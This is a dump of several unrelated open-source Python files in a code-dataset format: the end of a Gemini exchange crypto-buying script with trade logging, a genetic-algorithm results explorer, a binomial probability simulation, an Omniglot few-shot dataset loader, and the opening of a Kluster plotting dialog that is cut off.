1e-2,\n    Pair.AAVEUSD.name: 1e-3,\n    Pair.ALCXUSD.name: 1e-5,\n    Pair.AMPUSD.name: 1e1,\n    Pair.ANKRUSD.name: 1e-1,\n    Pair.AXSUSD.name: 3e-3,\n    Pair.BALUSD.name: 1e-2,\n    Pair.BATUSD.name: 1e0,\n    Pair.BCHUSD.name: 1e-3,\n    Pair.BNTUSD.name: 1e-2,\n    Pair.BONDUSD.name: 1e-3,\n    Pair.BTCGUSD.name: 1e-5,\n    Pair.BTCUSD.name: 1e-5,\n    Pair.COMPUSD.name: 1e-3,\n    Pair.CRVUSD.name: 1e-1,\n    Pair.CTXUSD.name: 2e-3,\n    Pair.CUBEUSD.name: 1e-2,\n    Pair.DAIUSD.name: 1e-1,\n    Pair.DOGEUSD.name: 1e-1,\n    Pair.ENJUSD.name: 1e-1,\n    Pair.ETHGUSD.name: 1e-3,\n    Pair.ETHUSD.name: 1e-3,\n    Pair.FILUSD.name: 1e-1,\n    Pair.FTMUSD.name: 3e-2,\n    Pair.GRTUSD.name: 1e-1,\n    Pair.INJUSD.name: 1e-2,\n    Pair.KNCUSD.name: 1e-1,\n    Pair.LINKUSD.name: 1e-1,\n    Pair.LPTUSD.name: 1e-3,\n    Pair.LRCUSD.name: 1e-1,\n    Pair.LTCUSD.name: 1e-2,\n    Pair.LUNAUSD.name: 5e-3,\n    Pair.MANAUSD.name: 1e0,\n    Pair.MATICUSD.name: 1e-1,\n    Pair.MCO2USD.name: 2e-2,\n    Pair.MIRUSD.name: 1e-3,\n    Pair.MKRUSD.name: 1e-3,\n    Pair.OXTUSD.name: 1e0,\n    Pair.PAXGUSD.name: 1e-4,\n    Pair.RENUSD.name: 1e-2,\n    Pair.SANDUSD.name: 1e-1,\n    Pair.SKLUSD.name: 1e-1,\n    Pair.SLPUSD.name: 5e-1,\n    Pair.SNXUSD.name: 1e-2,\n    Pair.STORJUSD.name: 1e-1,\n    Pair.SUSHIUSD.name: 1e-2,\n    Pair.UMAUSD.name: 1e-2,\n    Pair.UNIUSD.name: 1e-2,\n    Pair.USTUSD.name: 1e-1,\n    Pair.XTZUSD.name: 2e-2,\n    Pair.YFIUSD.name: 1e-5,\n    Pair.ZECUSD.name: 1e-3,\n    Pair.ZRXUSD.name: 1e-1,\n}\n\n\n\f\n#### ===========================================================================\n####                                   util funcs\ndef y_or_n_p(prompt) -> bool:\n    \"\"\"True if user inputs y or yes (case-insensitive). False otherwise\"\"\"\n    x = input(f\"{prompt}\\ny or n: \")\n    return x.upper() == \"Y\" or x.upper() == \"YES\"\n\ndef get_time_ms() -> int:\n    \"\"\"Used as a nonce\"\"\"\n    now = datetime.now(timezone.utc)\n    ptime_ms = (now - EPOCH) // timedelta(microseconds=1)\n    return ptime_ms // 1000\n\ndef round_pair(pair: Pair, amt: float) -> float:\n    \"\"\"Round the given pair to its most precise purchasable amount\"\"\"\n    def ticksize_to_nth(ticksize: float) -> float:\n        return math.floor(math.log10(1 / ticksize))\n    return round(amt, ticksize_to_nth(TICKSIZES[pair.name]))\n\ndef priv_api_headers(payload: str, sig: str, api_key: str) -> dict:\n    return {\n        \"Content-Type\"       : \"text/plain\",\n        \"Content-Length\"     : \"0\",\n        \"X-GEMINI-APIKEY\"    : api_key,\n        \"X-GEMINI-PAYLOAD\"   : payload,\n        \"X-GEMINI-SIGNATURE\" : sig,\n        \"Cache-Control\"      : \"no-cache\",\n    }\n\ndef bpstof(bps) -> float:\n    \"\"\"Convert basis point to float\"\"\"\n    return 0.0001 * bps\n\ndef encrypt(payload):\n    return base64.b64encode(json.dumps(payload).encode())\n\ndef sign(enc_payload):\n    return hmac.new(SECRET, enc_payload, hashlib.sha384).hexdigest()\n\n\n\f\n#### ===========================================================================\n####                               api calling funcs\ndef get_info(pair: Pair) -> dict:\n    url = f\"{GET_PAIR_DATA_URL.full()}/{pair.name}\"\n    resp = requests.get(url)\n    return resp.json()\n\ndef get_price(pair: Pair) -> float:\n    url = f\"{PRICE_FEED_URL.full()}\"\n    resp = requests.get(url)\n    price_objects = resp.json()\n    for o in price_objects:\n        if o[\"pair\"] == pair.name:\n            return float(o[\"price\"])\n\n# new order api: https://docs.gemini.com/rest-api/?python#new-order\ndef buy(pair: Pair, amt_usd: float, options: list) -> dict:\n    \"\"\"purchase amount of PAIR eq to AMT_USD. Returns dict returned by api\"\"\"\n    fee = bpstof(get_fee_and_vol()[\"api_taker_fee_bps\"])\n    if not SANDBOX:\n        typical = 0.0035\n        assert fee == typical, f\"fee has deviated from what is typical ({typical}). Do something.\"\n\n    url = NEW_ORDER_URL\n    purchase_amt = round_pair(pair, amt_usd / get_price(pair))\n    min_order_size = float(get_info(pair)[\"min_order_size\"])\n    assert min_order_size <= purchase_amt, f\"Purchase amount {purchase_amt} {pair.name} is insufficient. {min_order_size} is lowest purchasable amount.\"\n    curr_price = get_price(pair)\n    price_with_dev = round(curr_price + (curr_price * ALLOWED_DEV_MKT), 2)\n    est_cost = round(curr_price * purchase_amt, 2)\n    est_cost_max_dev = round(purchase_amt * price_with_dev, 2)\n\n    payload = {\n        \"request\" : url.payload_request(),\n        \"nonce\"   : str(get_time_ms()),\n        \"symbol\"  : pair.name,\n        \"amount\"  : str(purchase_amt),\n        \"price\"   : str(price_with_dev),\n        \"side\"    : \"buy\",\n        \"type\"    : \"exchange limit\",\n        \"options\" : options,\n    }\n    enc_payload = encrypt(payload)\n    sig = sign(enc_payload)\n    headers = priv_api_headers(enc_payload, sig, KEY)\n\n    if y_or_n_p(f\"\"\"\nQuoted market price      : {curr_price:,.2f} USD / {pair.name}\nAllowed deviation        : +{round(price_with_dev - curr_price, 2):,.2f} USD / {pair.name}\nFee                      : {fee}\n                           w/out fee\\twith fee\nEstimated total cost     : {est_cost:,.2f} USD\\t{round(est_cost * (1 + fee), 2):,.2f} USD\nTotal Cost assm. max dev : {est_cost_max_dev:,.2f} USD\\t{round(est_cost_max_dev * (1 + fee), 2):,.2f} USD\n===\nLimit buy {purchase_amt} {pair.name} @ {price_with_dev:,.2f} USD?\"\"\"):\n        return requests.post(url.full(), data=None, headers=headers).json()\n\n\ndef get_order_status(id: int) -> dict:\n    url = ORDER_STATUS_URL\n    payload = {\n        \"request\"  : url.payload_request(),\n        \"nonce\"    : str(get_time_ms()),\n        \"order_id\" : id,\n    }\n    enc_payload = encrypt(payload)\n    sig = sign(enc_payload)\n    headers = priv_api_headers(enc_payload, sig, KEY)\n    return requests.post(url.full(), data=None, headers=headers).json()\n\ndef get_fee_and_vol() -> dict:\n    url = NOTIONAL_VOL_URL\n    payload = {\n        \"nonce\"  : str(get_time_ms()),\n        \"request\": url.payload_request(),\n    }\n    enc_payload = encrypt(payload)\n    sig = sign(enc_payload)\n    headers = priv_api_headers(enc_payload, sig, KEY)\n    return requests.post(url.full(), data=None, headers=headers).json()\n\ndef get_past_trades_after_timestamp(pair: Pair, ts: str) -> list:\n    url = MYTRADES_URL\n    payload = {\n        \"nonce\"     : str(get_time_ms()),\n        \"request\"   : url.payload_request(),\n        \"symbol\"    : pair.name,\n        \"timestamp\" : ts,\n        \"limit_trades\": 500,\n    }\n    enc_payload = encrypt(payload)\n    sig = sign(enc_payload)\n    headers = priv_api_headers(enc_payload, sig, KEY)\n    return requests.post(url.full(), data=None, headers=headers).json()\n\ndef log_trades(trades: list[dict], path: str) -> bool:\n    \"\"\"Writes a line to file at path for each trade\"\"\"\n    sep = \"\\t\"\n    # write header\n    if not os.path.isfile(path):\n        with open(path, \"w+\") as f:\n            f.writelines([\n                # transactionid orderid, timestamp, timestamp(ms), type(buy, sell), pair(BTCUSD, etc.)\n                # price, amount, fee_currency (USD), fee_amount, cost_basis(amount * price + fee_amount)\n                sep.join([\n                    \"tid\", \"orderid\", \"ts\", \"tsms\",\n                    \"type\", \"pair\", \"price\", \"amount\",\n                    \"fee_currency\", \"fee_amount\", \"cost_basis\",\n                    \"\\n\"])\n            ])\n\n    with open(path, \"a\") as f:\n        for trade in trades:\n            cost_basis = Decimal(trade[\"fee_amount\"]) + Decimal(trade[\"price\"]) * Decimal(trade[\"amount\"])\n            f.writelines([\n                sep.join([\n                    str(trade[\"tid\"])\n                    ,trade[\"order_id\"]\n                    ,str(trade[\"timestamp\"])\n                    ,str(trade[\"timestampms\"])\n                    ,trade[\"type\"]\n                    ,trade[\"symbol\"]\n                    ,trade[\"price\"]\n                    ,trade[\"amount\"]\n                    ,trade[\"fee_currency\"]\n                    ,trade[\"fee_amount\"]\n                    ,str(cost_basis)\n                    ,\"\\n\"])\n            ])\n\f\n#### ===========================================================================\n####                                      main\n\nBag = OrderedDict()\nBag[Pair.BTCUSD] = 1/1\n\n# sum to 1\nassert accumulate(Bag.values(), lambda a, b: a+b, initial=0)\n\nif __name__ == \"__main__\":\n    if SANDBOX:\n        print(\"== running in Sandbox Mode ==\")\n    else:\n        print(\"== NOT RUNNING IN SANDBOX MODE! ==\")\n\n    # TODO validate against min sizes\n    for pair, amt in Bag.items():\n        resp = buy(pair, USD_PER_DAY * amt, [\"fill-or-kill\"])\n        if not resp:\n            print (\"==skipping\")\n            continue\n        # assert resp, \"No response\"\n        print(\"==order response\")\n        pp(resp)\n        assert not resp[\"is_cancelled\"], \"Order was cancelled\"\n\n        trades = get_past_trades_after_timestamp(pair, resp[\"timestampms\"])\n        print(\"==trade stats\")\n        for trade in trades:\n            pp(trade)\n        log_trades(trades, OUTF)\n\n\n\n\f\n# todo\n#### ===========================================================================\n####                                      TODO\n\"\"\"\n1. consider not doing make-or-kill MOK for lower fees.\n\n2. It would be nice to place daily limit orders. For those that go unfilled, a\nmarket order at EOD.\n\n3. If this increases further in complexity, refactor and also consider rate\nlimits. Specifically the recommended 'don't exceed more than 1 request per\nsecond`. Handle where we want faster and where it doesn't matter (e.g. logging -\ndo this after order completions. Or in between pairs. who cares if btc is bought\n5 seconds before eth. But we do care about the delay between get_price and buy)\n\n\"\"\"\n\n# sandbox: https://exchange.sandbox.gemini.com/trade/BTCUSD\n\n\n# the sandbox api returns 0 for various currency pairs, which breaks the script,\n# so the get_price funcall should be mocked when in sandbox mode\n\n# [{'pair': 'ZECBTC', 'price': '0', 'percentChange24h': '0.0000'}, {'pair':\n# 'GUSDUSD', 'price': '1', 'percentChange24h': '0.0000'}, {'pair': 'AXSUSD',\n# 'price': '0', 'percentChange24h': '0.0000'}, {'pair': 'LTCETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SANDUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHSGD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'RENUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'AMPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': '1INCHUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'UMAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHUSD', 'price': '4604',\n# 'percentChange24h': '-0.0254'}, {'pair': 'ETHBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'COMPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'FTMUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZRXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ENJUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CUBEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECLTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LTCBCH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCUSD', 'price': '64545.83',\n# 'percentChange24h': '-0.0304'}, {'pair': 'BTCEUR', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'AAVEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'USDCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'DOGEBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SLPUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BCHUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BALUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'FILUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MCO2USD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'YFIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHGBP', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'UNIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'SNXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CRVUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCDAI', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHEUR', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LUNAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ETHDAI', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LTCUSD', 'price': '254.91',\n# 'percentChange24h': '-0.0071'}, {'pair': 'SKLUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BONDUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECBCH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LRCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCSGD', 'price': '87725.02',\n# 'percentChange24h': '-0.0250'}, {'pair': 'ZECETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MKRUSD', 'price': '2412.93',\n# 'percentChange24h': '0.0000'}, {'pair': 'DAIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BNTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'XTZUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'KNCUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ANKRUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ALCXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'CTXUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'PAXGUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'STORJUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'LINKETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BTCGBP', 'price': '48099.4',\n# 'percentChange24h': '-0.0190'}, {'pair': 'SUSHIUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'BATETH', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'OXTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'USTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MANAUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'MIRUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'GRTUSD', 'price': '0',\n# 'percentChange24h': '0.0000'}, {'pair': 'ZECUSD', 'price': '153.23',\n# 'percentChange24h': '-0.0350'}, {'pair': 'LTCBTC', 'price': '0',\n# 'percentChange24h': '0.0000'}]\n","repo_name":"wimmeldj/gemini.py","sub_path":"gemini.py","file_name":"gemini.py","file_ext":"py","file_size_in_byte":19555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15473278768","text":"\"\"\"\nA small script to help you analyze the output logs from GA algorithm.\nIt shows you best and worst population with all values.\nSpecify the input file as an exec parameter.\nOptional: Speficy output file.\n\"\"\"\n\nimport sys\nfrom ast import literal_eval\nimport matplotlib.pyplot as plt\nimport numpy\n\n\ndef fitnessPlot(pop):\n    \"\"\"\n    Draw a fitness plot and write it to a file\n\n    :param pop: Population array with fitness\n    \"\"\"\n    fig, ax = plt.subplots()\n    ax.plot([i[4] for i in pop])\n    ax.set_title(\"Best fitness by generation\")\n    ax.set_ylabel(\"Fitness\")\n    ax.set_xlabel(\"Generation\")\n    fig.legend()\n    fig.show()\n    fig.savefig(\"fitnessPlot\")\n    print(\"Figure saved to file.\")\n\n\ndef printBestWorstGenes(pop, logOut=sys.stdout):\n    \"\"\"\n    Print info about best and worst specimen.\n\n    :param pop: Population array with fitness\n    :param logOut: If specified, print messages to a file.\n    \"\"\"\n    fitnesses = [i[4] for i in pop]\n    bestIdxs = (numpy.where(fitnesses == numpy.max(fitnesses)))[0]\n\n    print(\"Best Fitness:\", max(fitnesses), file=logOut)\n    for idx in bestIdxs:\n        print(\"Affinities: food={}, water={}, rest={}, walking={}\".format(pop[idx][0], pop[idx][1],\n                                                                          pop[idx][2], pop[idx][3]), file=logOut)\n\n    worstIdxs = (numpy.where(fitnesses == numpy.min(fitnesses)))[0]\n\n    print(\"Worst Fitness:\", min(fitnesses), file=logOut)\n    for idx in worstIdxs:\n        print(\"Affinities: food={}, water={}, rest={}, walking={}\".format(pop[idx][0], pop[idx][1],\n                                                                          pop[idx][2], pop[idx][3]), file=logOut)\n\n\nif len(sys.argv) < 2:\n    print(\"No file specified.\")\nelse:\n    with open(sys.argv[1], \"r\") as file:\n        if file.readline() != \"=HEADER=GA=\\n\":\n            print(\"Invalid header. Incorrect file or missing header?\")\n        else:\n            # Load data into memory\n            pop = []\n            for line in file:\n                pop.append(literal_eval(line))\n\n            fitnessPlot(pop)\n            if len(sys.argv) >= 3:\n                with open(sys.argv[2], \"w+\") as f:\n                    printBestWorstGenes(pop, f)\n                    print(\"Best/worst species saved to file.\")\n            else:\n                printBestWorstGenes(pop)\n","repo_name":"emkarcinos/DSZI_Survival","sub_path":"src/AI/resultsExplorer/resultsExplorer.py","file_name":"resultsExplorer.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70143023442","text":"# Simulation to verify prob 1.4 using numpy\r\nimport random as rn\r\nimport numpy as np\r\nimport matplotlib.pyplot\r\nfrom scipy.stats import binom\r\n\r\n\r\n# binom.pmf function returns the binomial distribution of the variable\r\n# after accepting the variable,probabilities and sample_size\r\ndef binomial(k):\r\n    return binom.pmf(k, 10, 0.9)\r\n\r\n\r\n# Initialising 2 lists to store the theoretical and simulated probabilities\r\nprob_theo = [0 for i in range(11)]\r\nprob_sim = [0 for j in range(11)]\r\nfor i in range(11):\r\n    prob_theo[i] = binomial(i)\r\n\r\n# denoting right handed as 0 and left handed as 1\r\npeople = [0, 1]\r\n# choosing our sample of 10 people as the size of result of each outcome\r\nnum_people = 10\r\n# assigning 'right' and 'left' probabilities\r\nprobabilities = [0.9, 0.1]\r\n\r\nprint(\"Let us run the simulation 1000000 times and check the number of cases in which at most 6 are right handed\")\r\n# declaring our simulation size as 1000000\r\nsim = 1000000\r\n# initialising at most 6 cases to 0\r\nat_most_six_cases = 0\r\n# running the loop 'sim' times to get an unbiased sample\r\nfor i in range(sim):\r\n    num_right = 0\r\n    # np.random.choice function takes in the cases(people here) , size of the list(num_people here) and probabilities of success\r\n    # and returns a random list with the entries considering the probabilities\r\n    outcome = np.random.choice(people, size=num_people, p=probabilities)\r\n    for j in outcome:\r\n        if j == 0:\r\n            num_right += 1\r\n    if num_right <= 6:\r\n        at_most_six_cases += 1\r\n        # the above code calculates the number of right handed peoples in the\r\n        # generated random sample and increments at_most_six_cases if the condition is satisfied\r\n    if num_right == 0:\r\n        prob_sim[0] += 1\r\n    elif num_right == 1:\r\n        prob_sim[1] += 1\r\n    elif num_right == 2:\r\n        prob_sim[2] += 1\r\n    elif num_right == 3:\r\n        prob_sim[3] += 1\r\n    elif num_right == 4:\r\n        prob_sim[4] += 1\r\n    elif num_right == 5:\r\n        prob_sim[5] += 1\r\n    elif num_right == 6:\r\n        prob_sim[6] += 1\r\n    elif num_right == 7:\r\n        prob_sim[7] += 1\r\n    elif num_right == 8:\r\n        prob_sim[8] += 1\r\n    elif num_right == 9:\r\n        prob_sim[9] += 1\r\n    elif num_right == 10:\r\n        prob_sim[10] += 1\r\n    # The above code updates the corresponding elements of prob_sim\r\n    # after checking the number of right_handed people in the random sample\r\nprint(\"Result of Simulation:\")\r\nprint(\"The number of cases out of 1000000 in which at most 6 were right handed is\", at_most_six_cases)\r\nprint(\"Thus the probability that at most 6 out of a random sample of 10 will be 'right' handed is\",\r\n      at_most_six_cases / sim)\r\nprint(\"And the simulated probability\", at_most_six_cases / sim, \"is close to\", 0.012795198,\r\n      \"which we received using binomial distribution\")\r\n# now prob_sim list contains the number of times each of 0,1,2..10 right handed people in the random sample\r\n# To get probabilities(simulated), we divide all the elements of prob_sim by sim.\r\nfor i in range(11):\r\n    prob_sim[i] = prob_sim[i] / sim\r\n\r\ncases = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\"]\r\n\r\n# np.arrange returns len(cases) = 11 evenly spaced points to plot the graph\r\nx = np.arange(len(cases))\r\n# matplotlib.pyplot.bar function draws a bar graph \r\nmatplotlib.pyplot.bar(x + 0.00, prob_theo, color='black', width=0.25, label='Calculated')\r\n# we are then setting the positions of the two plots,the lists prob_theo,prob_sim whose values are plotted in the\r\n# respective graphs and their respective colors and their widths.\r\nmatplotlib.pyplot.bar(x + 0.25, prob_sim, color='yellow', width=0.25, label='Simulated')\r\n# xlabel and ylabel displays the x and y tags of the graph\r\nmatplotlib.pyplot.xlabel('No of person(s) who are right handed')\r\nmatplotlib.pyplot.ylabel('Probabilities')\r\n# xticks function accepts the points and the list whose items are displayed in the accepted points.\r\nmatplotlib.pyplot.xticks(x + 0.25 / 2, cases)\r\n# legends function displays the color of the plot and its label above the graph\r\nmatplotlib.pyplot.legend()\r\n# show function wraps the entire graph and displays it\r\nmatplotlib.pyplot.show()\r\n","repo_name":"Srivatsan-T/AI1103","sub_path":"Assignment-1/codes/Assignment-1.py","file_name":"Assignment-1.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30829165213","text":"# -*- coding: utf-8 -*-\n# @File : omniglot.py\n# @Author: Runist\n# @Time : 2022/7/6 10:41\n# @Software: PyCharm\n# @Brief:\n\nimport random\nimport numpy as np\nimport glob\nfrom PIL import Image\nimport torch.nn.functional as F\nimport torch\n\nfrom core.dataset import MAMLDataset\n\n\nclass OmniglotDataset(MAMLDataset):\n    def get_file_list(self, data_path):\n        \"\"\"\n        Get all fonts list.\n        Args:\n            data_path: Omniglot Data path\n\n        Returns: fonts list\n\n        \"\"\"\n        return [f for f in glob.glob(data_path + \"**/character*\", recursive=True)]\n\n    def get_one_task_data(self):\n        \"\"\"\n        Get ones task maml data, include one batch support images and labels, one batch query images and labels.\n        Returns: support_data, query_data\n\n        \"\"\"\n        img_dirs = random.sample(self.file_list, self.n_way)\n        support_data = []\n        query_data = []\n\n        support_image = []\n        support_label = []\n        query_image = []\n        query_label = []\n\n        for label, img_dir in enumerate(img_dirs):\n            img_list = [f for f in glob.glob(img_dir + \"**/*.png\", recursive=True)]\n            images = random.sample(img_list, self.k_shot + self.q_query)\n\n            # Read support set\n            for img_path in images[:self.k_shot]:\n                image = Image.open(img_path)\n                image = np.array(image)\n                image = np.expand_dims(image / 255., axis=0)\n                support_data.append((image, label))\n\n            # Read query set\n            for img_path in images[self.k_shot:]:\n                image = Image.open(img_path)\n                image = np.array(image)\n                image = np.expand_dims(image / 255., axis=0)\n                query_data.append((image, label))\n\n        # shuffle support set\n        random.shuffle(support_data)\n        for data in support_data:\n            support_image.append(data[0])\n            support_label.append(data[1])\n\n        # shuffle query set\n        random.shuffle(query_data)\n        for data in query_data:\n            query_image.append(data[0])\n            query_label.append(data[1])\n\n        return np.array(support_image), np.array(support_label), np.array(query_image), np.array(query_label)\n","repo_name":"Runist/torch_maml","sub_path":"core/dataset/omniglot.py","file_name":"omniglot.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"3"}
+{"seq_id":"33425757645","text":"from HSTB.kluster.gui.backends._qt import QtGui, QtCore, QtWidgets, Signal\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport logging\n\nfrom HSTB.shared import RegistryHelpers\nfrom HSTB.kluster import kluster_variables\n\nfrom HSTB.kluster.gui import common_widgets\n\n\nclass BasicPlotDialog(QtWidgets.QDialog):\n    \"\"\"\n    Using the PlotDataHandler, allow the user to provide Kluster converted data and plot a variable across the whole\n    time range or a subset of time (see PlotDataHandler for subsetting time)\n\n    BasicPlot holds the calls that are just generic xarray.Dataset.plot calls.  If you need something fancy, it should\n    be put in AdvancedPlot, as there are no controls in BasicPlot for additional files/settings.\n    \"\"\"\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n\n        # fqpr = fully qualified ping record, the term for the datastore in kluster\n        self.fqpr = None\n        self.datasets = None\n        self.variables = None\n        self.recent_plot = None\n\n        self.variable_translator = kluster_variables.variable_translator\n        self.variable_reverse_lookup = kluster_variables.variable_reverse_lookup\n        self.plot_lookup = {2: ['Histogram', 'Image', 'Contour', 'Line - Mean', 'Line - Nadir',\n                                'Line - Port Outer Beam', 'Line - Starboard Outer Beam'],\n                            1: ['Line', 'Histogram', 'Scatter']}\n        self.custom_plot_lookup = {'uncertainty': ['Vertical Sample', 'Horizontal Sample'],\n                                   'backscatter': ['Backscatter Sample'],\n                                   'sound_velocity_profiles': ['Plot Profiles', 'Surface SV Comparison', 'Profile Map'],\n                                   'sound_velocity_correct': ['2d scatter, color by depth', '2d scatter, color by sector',\n                                                              '3d scatter, color by depth', '3d scatter, color by sector'],\n                                   'georeferenced': ['2d scatter, color by depth', '2d scatter, color by sector',\n                                                     '3d scatter, color by depth', '3d scatter, color by sector'],\n                                   'animations': ['Uncorrected Beam Vectors', 'Corrected Beam Vectors', 'Vessel Orientation']}\n\n        self.setWindowTitle('Basic Plots')\n        layout = QtWidgets.QVBoxLayout()\n\n        self.data_widget = common_widgets.PlotDataHandler()\n\n        self.hline = QtWidgets.QFrame()\n        self.hline.setFrameShape(QtWidgets.QFrame.HLine)\n        self.hline.setFrameShadow(QtWidgets.QFrame.Sunken)\n\n        self.hlayout_main = QtWidgets.QHBoxLayout()\n        self.vlayout_left = QtWidgets.QVBoxLayout()\n        self.vlayout_right = QtWidgets.QVBoxLayout()\n\n        self.hlayout_one = QtWidgets.QHBoxLayout()\n        self.dataset_label = QtWidgets.QLabel('Source    ', self)\n        self.hlayout_one.addWidget(self.dataset_label)\n        self.dataset_dropdown = QtWidgets.QComboBox(self)\n        self.dataset_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n\n        self.hlayout_one.addWidget(self.dataset_dropdown)\n        self.hlayout_one.addStretch()\n\n        self.hlayout_two = QtWidgets.QHBoxLayout()\n        self.variable_label = QtWidgets.QLabel('Variable  ', self)\n        self.hlayout_two.addWidget(self.variable_label)\n        self.variable_dropdown = QtWidgets.QComboBox(self)\n        self.variable_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n        self.hlayout_two.addWidget(self.variable_dropdown)\n        self.variable_dim_label = QtWidgets.QLabel('      Dimensions', self)\n        self.hlayout_two.addWidget(self.variable_dim_label)\n        self.variable_dimone = QtWidgets.QLineEdit('time', self)\n        self.hlayout_two.addWidget(self.variable_dimone)\n        self.variable_dimtwo = QtWidgets.QLineEdit('beam', self)\n        self.hlayout_two.addWidget(self.variable_dimtwo)\n        self.hlayout_two.addStretch()\n\n        self.hlayout_three = QtWidgets.QHBoxLayout()\n        self.plottype_label = QtWidgets.QLabel('Plot Type', self)\n        self.hlayout_three.addWidget(self.plottype_label)\n        self.plottype_dropdown = QtWidgets.QComboBox(self)\n        self.plottype_dropdown.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents)\n        self.hlayout_three.addWidget(self.plottype_dropdown)\n        self.bincount_label = QtWidgets.QLabel('Bins')\n        self.bincount_label.hide()\n        self.hlayout_three.addWidget(self.bincount_label)\n        self.bincount = QtWidgets.QLineEdit('100', self)\n        self.bincount.hide()\n        self.hlayout_three.addWidget(self.bincount)\n        self.hlayout_three.addStretch()\n\n        self.hlayout_five = QtWidgets.QHBoxLayout()\n        self.add_to_current_plot = QtWidgets.QCheckBox('Add to current plot', self)\n        self.add_to_current_plot.setChecked(False)\n        